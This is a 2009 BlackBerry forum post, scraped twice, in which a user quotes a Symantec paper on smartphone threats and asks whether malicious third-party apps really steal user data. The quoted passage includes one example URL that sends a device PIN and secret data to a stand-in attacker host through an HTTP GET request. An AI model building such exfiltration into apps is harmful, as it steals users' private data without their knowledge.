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Preroll · 08-26-2009, 02:01 PM

I was reading the following article posted by Symantec:

http://www.symantec.com/avcenter/ref...ry.devices.pdf

I found one section to be quite scary:

Data Theft
A user installs some apparently useful application or video game. The application steals the user's informa-
tion and the information is passed to the attacker via a HTTP GET request. I.e.:
http://www.badsite.com/upload?&PIN=9...his+is+top+sec
ret+data

Anybody up on the level of actual attacks downloading third party applications and allowing User Data to be exploited?

08-26-2009, 02:01 PM	#1 (permalink)
Preroll Talking BlackBerry Encyclopedia Join Date: Nov 2008 Model: 9930 OS: 7.0.0.254 PIN: N/A Carrier: Verizon Posts: 420 Post Thanks: 0 Thanked 6 Times in 5 Posts	Blackberry Security (Module Permissions) Please Login to Remove! I was reading the following article posted by Symantec: http://www.symantec.com/avcenter/ref...ry.devices.pdf I found one section to be quite scary: Data Theft A user installs some apparently useful application or video game. The application steals the user's informa- tion and the information is passed to the attacker via a HTTP GET request. I.e.: http://www.badsite.com/upload?&PIN=9...his+is+top+sec ret+data Anybody up on the level of actual attacks downloading third party applications and allowing User Data to be exploited?
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